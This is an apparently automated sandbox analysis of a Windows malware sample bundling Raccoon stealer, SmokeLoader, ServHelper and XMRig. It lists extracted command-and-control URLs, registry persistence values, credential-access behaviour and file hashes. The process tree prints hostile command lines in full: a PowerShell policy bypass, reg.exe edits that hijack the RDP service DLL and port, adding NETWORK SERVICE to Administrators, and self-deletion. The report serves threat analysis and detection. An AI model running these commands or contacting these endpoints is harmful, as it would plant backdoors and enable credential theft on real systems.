raccoon | f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04

Analysis

max time kernel
151s
max time network
151s
platform
windows10_x64
resource
win10-en-20210920
submitted
08-10-2021 22:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe
Size

166KB
MD5

255c697e144c7fe1471f1564da42c959
SHA1

1741b74c88aeb8bee82ff4c4ae227340aba33c80
SHA256

f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04
SHA512

1fbb9e6425712df6c795d2bfdd934c221ef5e63da681d2032f423549c09895ccc0847b052c1f6c0756f2881069342965d738012aac3db188b3a8a201c0ad4cc7

Score

10^/10

raccoon servhelper smokeloader xmrig 8d179b9e611eee525425544ee8c6d77360ab7cd9 dfb936558dbffed9bca02e41d7a111295cf4a71e backdoor collection discovery evasion miner persistence spyware stealer themida trojan

Malware Config

Extracted

Family

smokeloader

Version

2020

http://fazanaharahe10.top/

http://xandelissane20.top/

http://ustiassosale30.top/

http://cytheriata40.top/

http://ggiergionard50.top/

rc4.i32

Extracted

Family

raccoon

Version

1.8.2

Botnet

dfb936558dbffed9bca02e41d7a111295cf4a71e

Attributes

url4cnc
http://teletop.top/rocketmanthem2

http://teleta.top/rocketmanthem2

https://t.me/rocketmanthem2

rc4.plain

Extracted

Family

raccoon

Version

1.8.2

Botnet

8d179b9e611eee525425544ee8c6d77360ab7cd9

Attributes

url4cnc
http://teletop.top/agrybirdsgamerept

http://teleta.top/agrybirdsgamerept

https://t.me/agrybirdsgamerept

rc4.plain

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

52D.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,\"C:\\Users\\Admin\\AppData\\Roaming\\system32.exe\","	52D.exe

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Downloads MZ/PE file

Executes dropped EXE 6 IoCs

Processes:

2BB.exe52D.exeCB0.exe1442.exeWaPyp1c35t.exe52D.exe

pid	Process
3956	2BB.exe
3636	52D.exe
3976	CB0.exe
1656	1442.exe
3176	WaPyp1c35t.exe
1620	52D.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

CB0.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	CB0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	CB0.exe

Deletes itself 1 IoCs

Processes:

pid	Process
392

Loads dropped DLL 6 IoCs

Processes:

2BB.exe

pid	Process
3956	2BB.exe
3956	2BB.exe
3956	2BB.exe
3956	2BB.exe
3956	2BB.exe
3956	2BB.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral1/files/0x000500000001abbe-130.dat	themida
behavioral1/files/0x000500000001abbe-1137.dat	themida

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

2BB.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	2BB.exe

Accesses Microsoft Outlook profiles 1 TTPs 8 IoCs

collection

Email Collection

T1114

Processes:

2BB.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	2BB.exe
Key opened	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook	2BB.exe
Key opened	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook	2BB.exe
Key opened	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook	2BB.exe
Key opened	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	2BB.exe
Key opened	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	2BB.exe
Key opened	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook	2BB.exe
Key opened	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook	2BB.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

52D.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Windows\CurrentVersion\Run\52D = "\"C:\\Users\\Admin\\AppData\\Roaming\\52D.exe\""	52D.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

CB0.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	CB0.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	Process
File created	C:\Windows\SysWOW64\rdpclip.exe	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

CB0.exe

pid	Process
3976	CB0.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe52D.exe

description	pid	Process	procid_target
PID 2416 set thread context of 512	2416	f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe	70
PID 3636 set thread context of 1620	3636	52D.exe	92

Drops file in Windows directory 8 IoCs

Processes:

powershell.exe

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe

Delays execution with timeout.exe 1 IoCs

evasion

Processes:

timeout.exe

pid	Process
1672	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
3068	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe

pid	Process
512	f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe
512	f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392
392

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid	Process
392

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid	Process
624

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe

pid	Process
512	f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

Processes:

52D.exepowershell.exepowershell.exepowershell.exepowershell.exe52D.exepowershell.exeCB0.exe

description	pid	Process
Token: SeShutdownPrivilege	392
Token: SeCreatePagefilePrivilege	392
Token: SeShutdownPrivilege	392
Token: SeCreatePagefilePrivilege	392
Token: SeShutdownPrivilege	392
Token: SeCreatePagefilePrivilege	392
Token: SeDebugPrivilege	3636	52D.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeDebugPrivilege	1288	powershell.exe
Token: SeDebugPrivilege	2236	powershell.exe
Token: SeShutdownPrivilege	392
Token: SeCreatePagefilePrivilege	392
Token: SeDebugPrivilege	3008	powershell.exe
Token: SeShutdownPrivilege	392
Token: SeCreatePagefilePrivilege	392
Token: SeShutdownPrivilege	392
Token: SeCreatePagefilePrivilege	392
Token: SeDebugPrivilege	1620	52D.exe
Token: SeShutdownPrivilege	392
Token: SeCreatePagefilePrivilege	392
Token: SeDebugPrivilege	3984	powershell.exe
Token: SeDebugPrivilege	3976	CB0.exe
Token: SeShutdownPrivilege	392
Token: SeCreatePagefilePrivilege	392
Token: SeShutdownPrivilege	392
Token: SeCreatePagefilePrivilege	392
Token: SeShutdownPrivilege	392
Token: SeCreatePagefilePrivilege	392
Token: SeShutdownPrivilege	392
Token: SeCreatePagefilePrivilege	392
Token: SeShutdownPrivilege	392
Token: SeCreatePagefilePrivilege	392
Token: SeShutdownPrivilege	392
Token: SeCreatePagefilePrivilege	392

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

pid	Process
392
392

Suspicious use of SendNotifyMessage 4 IoCs

Processes:

pid	Process
392
392
392
392

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe2BB.execmd.exeWaPyp1c35t.exepowershell.execsc.exe52D.exe

description	pid	Process	procid_target
PID 2416 wrote to memory of 512	2416	f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe	70
PID 2416 wrote to memory of 512	2416	f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe	70
PID 2416 wrote to memory of 512	2416	f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe	70
PID 2416 wrote to memory of 512	2416	f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe	70
PID 2416 wrote to memory of 512	2416	f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe	70
PID 2416 wrote to memory of 512	2416	f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe	70
PID 392 wrote to memory of 3956	392		71
PID 392 wrote to memory of 3956	392		71
PID 392 wrote to memory of 3956	392		71
PID 392 wrote to memory of 3636	392		72
PID 392 wrote to memory of 3636	392		72
PID 392 wrote to memory of 3976	392		73
PID 392 wrote to memory of 3976	392		73
PID 392 wrote to memory of 3976	392		73
PID 392 wrote to memory of 1656	392		75
PID 392 wrote to memory of 1656	392		75
PID 392 wrote to memory of 1656	392		75
PID 3956 wrote to memory of 3176	3956	2BB.exe	76
PID 3956 wrote to memory of 3176	3956	2BB.exe	76
PID 3956 wrote to memory of 3176	3956	2BB.exe	76
PID 3956 wrote to memory of 3112	3956	2BB.exe	77
PID 3956 wrote to memory of 3112	3956	2BB.exe	77
PID 3956 wrote to memory of 3112	3956	2BB.exe	77
PID 3112 wrote to memory of 1672	3112	cmd.exe	79
PID 3112 wrote to memory of 1672	3112	cmd.exe	79
PID 3112 wrote to memory of 1672	3112	cmd.exe	79
PID 3176 wrote to memory of 2304	3176	WaPyp1c35t.exe	82
PID 3176 wrote to memory of 2304	3176	WaPyp1c35t.exe	82
PID 3176 wrote to memory of 2304	3176	WaPyp1c35t.exe	82
PID 2304 wrote to memory of 3760	2304	powershell.exe	84
PID 2304 wrote to memory of 3760	2304	powershell.exe	84
PID 2304 wrote to memory of 3760	2304	powershell.exe	84
PID 3760 wrote to memory of 2184	3760	csc.exe	85
PID 3760 wrote to memory of 2184	3760	csc.exe	85
PID 3760 wrote to memory of 2184	3760	csc.exe	85
PID 2304 wrote to memory of 1288	2304	powershell.exe	86
PID 2304 wrote to memory of 1288	2304	powershell.exe	86
PID 2304 wrote to memory of 1288	2304	powershell.exe	86
PID 3636 wrote to memory of 2236	3636	52D.exe	90
PID 3636 wrote to memory of 2236	3636	52D.exe	90
PID 3636 wrote to memory of 1620	3636	52D.exe	92
PID 3636 wrote to memory of 1620	3636	52D.exe	92
PID 3636 wrote to memory of 1620	3636	52D.exe	92
PID 3636 wrote to memory of 1620	3636	52D.exe	92
PID 3636 wrote to memory of 1620	3636	52D.exe	92
PID 3636 wrote to memory of 1620	3636	52D.exe	92
PID 2304 wrote to memory of 3008	2304	powershell.exe	93
PID 2304 wrote to memory of 3008	2304	powershell.exe	93
PID 2304 wrote to memory of 3008	2304	powershell.exe	93
PID 2304 wrote to memory of 3984	2304	powershell.exe	95
PID 2304 wrote to memory of 3984	2304	powershell.exe	95
PID 2304 wrote to memory of 3984	2304	powershell.exe	95
PID 2304 wrote to memory of 496	2304	powershell.exe	97
PID 2304 wrote to memory of 496	2304	powershell.exe	97
PID 2304 wrote to memory of 496	2304	powershell.exe	97
PID 2304 wrote to memory of 3068	2304	powershell.exe	98
PID 2304 wrote to memory of 3068	2304	powershell.exe	98
PID 2304 wrote to memory of 3068	2304	powershell.exe	98
PID 2304 wrote to memory of 3296	2304	powershell.exe	99
PID 2304 wrote to memory of 3296	2304	powershell.exe	99
PID 2304 wrote to memory of 3296	2304	powershell.exe	99
PID 2304 wrote to memory of 1172	2304	powershell.exe	100
PID 2304 wrote to memory of 1172	2304	powershell.exe	100
PID 2304 wrote to memory of 1172	2304	powershell.exe	100

outlook_office_path 1 IoCs

Processes:

2BB.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook	2BB.exe

outlook_win_path 1 IoCs

Processes:

2BB.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	2BB.exe

C:\Users\Admin\AppData\Local\Temp\f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe
"C:\Users\Admin\AppData\Local\Temp\f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2416
- C:\Users\Admin\AppData\Local\Temp\f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe
  "C:\Users\Admin\AppData\Local\Temp\f22d4a1729b3e55190d224087c7569623012ca99978b01e3649714bf71b2ec04.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:512

C:\Users\Admin\AppData\Local\Temp\2BB.exe
C:\Users\Admin\AppData\Local\Temp\2BB.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:3956
- C:\Users\Admin\AppData\Local\Temp\WaPyp1c35t.exe
  "C:\Users\Admin\AppData\Local\Temp\WaPyp1c35t.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3176
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2304
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2gz3tl3o\2gz3tl3o.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3760
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8D77.tmp" "c:\Users\Admin\AppData\Local\Temp\2gz3tl3o\CSCED7806E4CCCF480792599526D0616DEB.TMP"
        5⤵
        
        PID:2184
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1288
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3008
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3984
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:496
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:3068
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:3296
  - - C:\Windows\SysWOW64\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1172
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:2968
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:924
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:1844
      - C:\Windows\SysWOW64\net.exe
        
        net start rdpdr
        6⤵
        
        PID:1980
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:3440
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:980
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:944
      - C:\Windows\SysWOW64\net.exe
        
        net start TermService
        6⤵
        
        PID:1136
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1636
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:508
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:2468
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\2BB.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3112
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:1672

C:\Users\Admin\AppData\Local\Temp\52D.exe
C:\Users\Admin\AppData\Local\Temp\52D.exe
1⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -s 5; Remove-Item -Path "C:\Users\Admin\AppData\Local\Temp\52D.exe" -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2236
- C:\Users\Admin\AppData\Local\Temp\52D.exe
  C:\Users\Admin\AppData\Local\Temp\52D.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of AdjustPrivilegeToken
  PID:1620

C:\Users\Admin\AppData\Local\Temp\CB0.exe
C:\Users\Admin\AppData\Local\Temp\CB0.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:3976

C:\Users\Admin\AppData\Local\Temp\1442.exe
C:\Users\Admin\AppData\Local\Temp\1442.exe
1⤵
- Executes dropped EXE
PID:1656

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5
f3068198b62b4b70404ec46694d632be

SHA1
7b0b31ae227cf2a78cb751573a9d07f755104ea0

SHA256
bd0fab28319be50795bd6aa9692742ba12539b136036acce2e0403f10a779fc8

SHA512
ef285a93898a9436219540f247beb52da69242d05069b3f50d1761bb956ebb8468aeaeadcb87dd7a09f5039c479a31f313c83c4a63c2b2f789f1fe55b4fa9795

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5
33b21d9de541ae137ea97c12445f6060

SHA1
6a66c6c2dcf30c55a2bfb8204eb7c38aa3005ebb

SHA256
a8cb53aaa38a64ed606d960c43a81510a2a45e1cb4178d3e0f73e62a3a8e929b

SHA512
ee44b9f5bc2d2f8dba9fc4ba54b7e5d15ebf9d9ac1d22e89f3d6b76db1565dd42bf7f355a720e63a045c5e82a7d0549756213ce216ffbbaefbe68bd679a8eff6

Download Submit
C:\Users\Admin\AppData\Local\Temp\1442.exe

MD5
e5ef832cd4ce6ce24cd763bf8826979d

SHA1
9a0af3da1552e586cef6d3b428459bbefb5fdcf6

SHA256
815c9cd83c96d1dc5ab94e308dbb009ad20f32712abc4294d6ba080c945da34a

SHA512
ca782301dcd64de895854adb171b0a7758e22d3d25c56fb29201975c049580e8ff9ec031e5add14c135aa042b1ad1feb085255027b15dec2786f42dea458fe50

Download Submit
C:\Users\Admin\AppData\Local\Temp\1442.exe

MD5
e5ef832cd4ce6ce24cd763bf8826979d

SHA1
9a0af3da1552e586cef6d3b428459bbefb5fdcf6

SHA256
815c9cd83c96d1dc5ab94e308dbb009ad20f32712abc4294d6ba080c945da34a

SHA512
ca782301dcd64de895854adb171b0a7758e22d3d25c56fb29201975c049580e8ff9ec031e5add14c135aa042b1ad1feb085255027b15dec2786f42dea458fe50

Download Submit
C:\Users\Admin\AppData\Local\Temp\2BB.exe

MD5
455675db27adc6de26fa1c4937acbd4a

SHA1
550c05f171df9306b790cb37681c927ca73384ee

SHA256
412688a7153655af75032713894027d695cda807877b619101e9352e0789c34a

SHA512
16ae125ede43dc5374103e61fb156abb32937f7429879aa6b422252e88ec1426ebc06694cbfb9c5a14a3956d09e8127380d213540219c0561d7a4d65e4dcf49f

Download Submit
C:\Users\Admin\AppData\Local\Temp\2BB.exe

MD5
455675db27adc6de26fa1c4937acbd4a

SHA1
550c05f171df9306b790cb37681c927ca73384ee

SHA256
412688a7153655af75032713894027d695cda807877b619101e9352e0789c34a

SHA512
16ae125ede43dc5374103e61fb156abb32937f7429879aa6b422252e88ec1426ebc06694cbfb9c5a14a3956d09e8127380d213540219c0561d7a4d65e4dcf49f

Download Submit
C:\Users\Admin\AppData\Local\Temp\2gz3tl3o\2gz3tl3o.dll

MD5
b6294a50e2485d99927d10e069afe81b

SHA1
f35d9a852728a7ef90afceaadb73845e2a32b587

SHA256
5a685ca572167ff84270007f734908198124d34b129532a2fd09305e40391e43

SHA512
5901d5cc76e4715b5890da9270b9633fc8806976e682fcf6cebf590d42f54d225cba50f099cc4d4609a5883e886f920ac8e7784e186ce6f655b843e0cf8b60f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\52D.exe

MD5
b4f3976b87e4d6c2c354ed6fed1054e3

SHA1
2cae67c05699a4d465ab3d634882eefc39a8daa8

SHA256
5d8bcac82818b843fa47b64719541c5ca19ef3eeee28ce3bec1e84bd60663ec6

SHA512
e8f82eba55e12192060a5bd51eb990b2cd44e438ee22c8374c5cb35ef225fa0e520752104f320cfa46068b0a37b4f42a0355248eb2ba5c3a3b533274e11c0690

Download Submit
C:\Users\Admin\AppData\Local\Temp\52D.exe

MD5
b4f3976b87e4d6c2c354ed6fed1054e3

SHA1
2cae67c05699a4d465ab3d634882eefc39a8daa8

SHA256
5d8bcac82818b843fa47b64719541c5ca19ef3eeee28ce3bec1e84bd60663ec6

SHA512
e8f82eba55e12192060a5bd51eb990b2cd44e438ee22c8374c5cb35ef225fa0e520752104f320cfa46068b0a37b4f42a0355248eb2ba5c3a3b533274e11c0690

Download Submit
C:\Users\Admin\AppData\Local\Temp\52D.exe

MD5
b4f3976b87e4d6c2c354ed6fed1054e3

SHA1
2cae67c05699a4d465ab3d634882eefc39a8daa8

SHA256
5d8bcac82818b843fa47b64719541c5ca19ef3eeee28ce3bec1e84bd60663ec6

SHA512
e8f82eba55e12192060a5bd51eb990b2cd44e438ee22c8374c5cb35ef225fa0e520752104f320cfa46068b0a37b4f42a0355248eb2ba5c3a3b533274e11c0690

Download Submit
C:\Users\Admin\AppData\Local\Temp\CB0.exe

MD5
f6f63e66d59c509e9c76e930c3d27dd6

SHA1
a0f85bbcb4e2b5f01d5c4a9f39055e112ded33d3

SHA256
c39d96311181bd623c17bc6fb5c3cdc6b5a28e738b8ecf977368947d06e87710

SHA512
3785995ca2d80883f54df3750c9bc95d1b29be940ed1d99ab8a695fdf6e65f3846e5db70153129e9ff5bb1b897690e2bd551a934b5460b726121090cd9753e7f

Download Submit
C:\Users\Admin\AppData\Local\Temp\CB0.exe

MD5
f6f63e66d59c509e9c76e930c3d27dd6

SHA1
a0f85bbcb4e2b5f01d5c4a9f39055e112ded33d3

SHA256
c39d96311181bd623c17bc6fb5c3cdc6b5a28e738b8ecf977368947d06e87710

SHA512
3785995ca2d80883f54df3750c9bc95d1b29be940ed1d99ab8a695fdf6e65f3846e5db70153129e9ff5bb1b897690e2bd551a934b5460b726121090cd9753e7f

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES8D77.tmp

MD5
64b728fd850ec8a564a64969aa962475

SHA1
